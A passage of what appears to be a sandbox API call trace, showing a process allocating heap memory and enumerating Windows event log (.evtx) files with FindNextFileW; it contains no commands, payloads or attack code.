lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0121.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0121.996] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0121.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0121.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.996] GetLastError () returned 0x12 [0121.996] SetLastError (dwErrCode=0x12) [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0121.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0121.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0121.997] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0121.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.997] GetLastError () returned 0x12 [0121.997] SetLastError (dwErrCode=0x12) [0121.997] GetLastError () returned 0x12 [0121.997] SetLastError (dwErrCode=0x12) [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0121.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.997] GetLastError () returned 0x12 [0121.997] SetLastError (dwErrCode=0x12) [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0121.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdf10 [0121.997] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0121.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.997] GetLastError () returned 0x12 [0121.997] SetLastError (dwErrCode=0x12) [0121.997] GetLastError () returned 0x12 [0121.997] SetLastError (dwErrCode=0x12) [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0121.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.997] GetLastError () returned 0x12 [0121.997] SetLastError (dwErrCode=0x12) [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0121.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0121.997] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0121.997] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0121.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.998] GetLastError () returned 0x12 [0121.998] SetLastError (dwErrCode=0x12) [0121.998] GetLastError () returned 0x12 [0121.998] SetLastError (dwErrCode=0x12) [0121.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0121.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.998] GetLastError () returned 0x12 [0121.998] SetLastError (dwErrCode=0x12) [0121.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0121.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0121.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0121.998] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0121.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0121.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.998] GetLastError () returned 0x12 [0121.998] SetLastError (dwErrCode=0x12) [0121.998] GetLastError () returned 0x12 [0121.998] SetLastError (dwErrCode=0x12) [0121.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0121.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.998] GetLastError () returned 0x12 [0121.998] SetLastError (dwErrCode=0x12) [0121.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0121.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0121.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0121.998] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0121.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.999] GetLastError () returned 0x12 [0121.999] SetLastError (dwErrCode=0x12) [0121.999] GetLastError () returned 0x12 [0121.999] SetLastError (dwErrCode=0x12) [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0121.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.999] GetLastError () returned 0x12 [0121.999] SetLastError (dwErrCode=0x12) [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0121.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0121.999] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0121.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.999] GetLastError () returned 0x12 [0121.999] SetLastError (dwErrCode=0x12) [0121.999] GetLastError () returned 0x12 [0121.999] SetLastError (dwErrCode=0x12) [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0121.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.999] GetLastError () returned 0x12 [0121.999] SetLastError (dwErrCode=0x12) [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0121.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0121.999] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0121.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0121.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.000] GetLastError () returned 0x12 [0122.000] SetLastError (dwErrCode=0x12) [0122.000] GetLastError () returned 0x12 [0122.000] SetLastError (dwErrCode=0x12) [0122.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0122.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0122.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0122.000] GetLastError () returned 0x12 [0122.000] SetLastError (dwErrCode=0x12) [0122.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0122.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0122.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0122.000] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0122.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0122.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.000] GetLastError () returned 0x12 [0122.000] SetLastError (dwErrCode=0x12) [0122.000] GetLastError () returned 0x12 [0122.000] SetLastError (dwErrCode=0x12) [0122.000] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.000] GetLastError () returned 0x12 [0122.001] SetLastError (dwErrCode=0x12) [0122.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0122.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0122.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0122.001] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0122.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.001] GetLastError () returned 0x12 [0122.001] SetLastError (dwErrCode=0x12) [0122.001] GetLastError () returned 0x12 [0122.001] SetLastError (dwErrCode=0x12) [0122.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.001] GetLastError () returned 0x12 [0122.001] SetLastError (dwErrCode=0x12) [0122.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0122.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0122.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0122.001] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0122.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.001] GetLastError () returned 0x12 [0122.001] SetLastError (dwErrCode=0x12) [0122.001] GetLastError () returned 0x12 [0122.002] SetLastError (dwErrCode=0x12) [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0122.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.002] GetLastError () returned 0x12 [0122.002] SetLastError (dwErrCode=0x12) [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0122.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5b85a8 [0122.002] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0122.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.002] GetLastError () returned 0x12 [0122.002] SetLastError (dwErrCode=0x12) [0122.002] GetLastError () returned 0x12 [0122.002] SetLastError (dwErrCode=0x12) [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0122.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.002] GetLastError () returned 0x12 [0122.002] SetLastError (dwErrCode=0x12) [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0122.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0122.002] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0122.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.002] GetLastError () returned 0x12 [0122.002] SetLastError (dwErrCode=0x12) [0122.002] GetLastError () returned 0x12 [0122.002] SetLastError (dwErrCode=0x12) [0122.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0122.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.002] GetLastError () returned 0x12 [0122.003] SetLastError (dwErrCode=0x12) [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0122.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0122.003] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0122.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.003] GetLastError () returned 0x12 [0122.003] SetLastError (dwErrCode=0x12) [0122.003] GetLastError () returned 0x12 [0122.003] SetLastError (dwErrCode=0x12) [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0122.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0122.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0122.003] GetLastError () returned 0x12 [0122.003] SetLastError (dwErrCode=0x12) [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5c1e98 [0122.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5c1e98 [0122.003] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0122.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.003] GetLastError () returned 0x12 [0122.003] SetLastError (dwErrCode=0x12) [0122.003] GetLastError () returned 0x12 [0122.003] SetLastError (dwErrCode=0x12) [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0122.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.003] GetLastError () returned 0x12 [0122.003] SetLastError (dwErrCode=0x12) [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0122.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0122.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0122.004] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0122.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.004] GetLastError () returned 0x12 [0122.004] SetLastError (dwErrCode=0x12) [0122.004] GetLastError () returned 0x12 [0122.004] SetLastError (dwErrCode=0x12) [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0122.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.004] GetLastError () returned 0x12 [0122.004] SetLastError (dwErrCode=0x12) [0122.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0122.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0122.004] RtlAllocateHeap (HeapHandle=0x570000, 